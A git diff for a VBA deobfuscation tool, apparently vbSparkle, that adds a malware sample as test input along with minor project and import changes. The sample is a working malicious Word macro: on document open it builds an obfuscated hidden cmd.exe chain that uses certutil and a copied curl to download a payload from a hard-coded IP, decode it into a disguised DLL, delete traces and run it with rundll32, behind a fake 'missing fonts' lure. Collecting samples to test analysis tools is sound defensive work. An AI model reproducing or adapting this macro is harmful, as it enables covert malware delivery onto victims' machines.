diff --git a/Resources/samples/sample_11.txt b/Resources/samples/sample_11.txt new file mode 100644 index 0000000..47f7aa5 --- /dev/null +++ b/Resources/samples/sample_11.txt @@ -0,0 +1,208 @@ +Attribute VB_Name = "ThisDocument" +Attribute VB_Base = "1Normal.ThisDocument" +Attribute VB_GlobalNameSpace = False +Attribute VB_Creatable = False +Attribute VB_PredeclaredId = False +' Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As LongPtr) +' Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) + +' Sub ChangeText() +' ActiveDocument.Words(19).Text = "The " +' End Sub + +Sub DeleteText() + ' Dim rngFirstParagraph As Range + + ' Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + ' With rngFirstParagraph + ' .Delete + ' .InsertAfter Text:="New text" + ' .InsertParagraphAfter + ' End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Fourth paragraph displayed " + Chr(34) + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(5).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Fifth paragraph displayed" + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(6).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Sixth paragraph displayed" + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(7).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Seventh paragraph displayed" + .InsertParagraphAfter + End With + + For i = 1 To ActiveDocument.Paragraphs.Count + ' ActiveDocument.Paragraphs(i).Style = wdStyleNormal + Set myRange = ActiveDocument.Paragraphs(i).Range + With myRange.Font + ' .Bold = True + .Name = "Times New Roman" + .Size = 14 + End With + Next i +End Sub + +Sub ShowErrorText() + Dim rngFirstParagraph As Range + + Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + .InsertParagraphAfter + End With +End Sub + +'Show msgbox +Sub MsgFunc() + Dim Msg, Style, Title, Help, Ctxt, Response, MyString + Msg = "The document cannot be fully displayed due to missing fonts. Do you want to install missing fonts?" ' Define message. + Style = vbYesNo Or vbCritical Or vbDefaultButton2 ' Define buttons. + Title = "Missing font" ' Define title. + Help = "DEMO.HLP" ' Define Help file. + Ctxt = 1000 ' Define topic context. + ' Display message. + Response = MsgBox(Msg, Style, Title, Help, Ctxt) + If Response = vbYes Then ' User chose Yes. + MyString = "Yes" ' Perform some action. + DeleteText + Else ' User chose No. + MyString = "No" ' Perform some action. + 'MsgFunc + End If +End Sub + +Sub MainFunc() + Dim curl_enc_txt_path As String + Dim curl_dec_exe_path As String + Dim mal_enc_txt_url As String + Dim mal_enc_txt_path As String + Dim mal_dec_exe_path As String + Dim pp As String + Dim cc As String + Dim Dir As String + Dim host As String + + Dir = ActiveDocument.Path + Dir = Environ("temp") + host = "http://172.104.160.126:8099" + curl_enc_txt_path = Dir + "\curl.txt" + curl_dec_exe_path = Dir + "\curl.exe" + + mal_enc_txt_url = host + "/payload2.txt" + mal_enc_txt_path = Dir + "\mscorsvc.txt" + mal_dec_exe_path = Dir + "\mscorsvc.dll" + + pp = pp + "C:\Windows\Sys" + pp = pp + "tem32\cmd.exe /c " + cc = cc + curl_enc_txt_path + curl_dec_exe_path + pp = pp + "xcopy C:\Windows\Sys" + cc = cc + curl_enc_txt_path + mal_enc_txt_url + pp = pp + "tem32\cu" + "rl.exe " + Dir + " & " + cc = cc + mal_enc_txt_path + mal_enc_txt_url + pp = pp + "certutil -f " + cc = cc + mal_enc_txt_path + mal_dec_exe_path + pp = pp + "-encode " + Dir + "\cu" + "rl.exe " + curl_enc_txt_path + " & " + cc = cc + pp + mal_dec_exe_path + pp = pp + "certutil -f " + cc = cc + pp + Dir + pp = pp + "-decode " + curl_enc_txt_path + " " + curl_dec_exe_path + " & " + cc = cc + curl_enc_txt_path + Dir + + pp = pp + curl_dec_exe_path + " " + mal_enc_txt_url + " -o " + mal_enc_txt_path + " & " + cc = cc + curl_enc_txt_path + Dir + pp = pp + "certutil -f " + cc = cc + curl_enc_txt_path + curl_dec_exe_path + pp = pp + "-decode " + mal_enc_txt_path + " " + mal_dec_exe_path + " & " + cc = cc + mal_enc_txt_url + curl_dec_exe_path + + pp = pp + "del " + Dir + "\cu" + "rl.exe & " + cc = cc + host + pp + curl_enc_txt_path + pp = pp + "del " + curl_enc_txt_path + " & " + cc = cc + curl_enc_txt_path + Dir + pp = pp + "del " + curl_dec_exe_path + " & " + cc = cc + curl_dec_exe_path + pp + + pp = pp + "del " + mal_enc_txt_path + " & " + cc = cc + mal_enc_txt_path + pp + + Dim vbDblQuote As String + vbDblQuote = Chr(34) + pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & " + cc = cc + mal_dec_exe_path + pp + + pp = pp + "exit" + cc = cc + Dir + pp + 'pp = pp + "cmd.exe -d & exit" + 'cc = cc + mal_enc_txt_url + curl_dec_exe_path + ' Shell (pp), vbHidden + + Dim objShell As Object + Set objShell = CreateObject("WScript.Shell") + objShell.Run pp, 0, False +End Sub + + +Sub Document_Open() + MainFunc +End Sub + + diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index 0d6ff9f..f9766d8 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -6,7 +6,7 @@ }, "Sample_7": { "commandName": "Project", - "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_7.txt" + "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_11.txt" }, "Sample_10": { "commandName": "Project", diff --git a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj index d200b6c..91e4ae8 100644 --- a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj +++ b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj @@ -2,7 +2,7 @@ Exe - net6.0 + net8.0 vbSparkle.CLI.Program False Sylvain Bruyere, Airbus CERT diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs index 80406a2..7d69cdd 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs index c5caf26..bdf1152 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs @@ -1,5 +1,5 @@ using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs index 5606927..8b8f006 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs index eed260a..8feed93 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs @@ -1,6 +1,6 @@ using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs index 26b00aa..8e82353 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs index b06fe97..15081d7 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.NativeMethods; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs index feecd92..5ab4973 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs @@ -1,6 +1,6 @@ using vbSparkle.EvaluationObjects; using vbSparkle.NativeMethods; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs index 05eb378..7d6cf12 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs index 57648d4..9086ee3 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs index f75345e..c9a3cc5 100644 --- 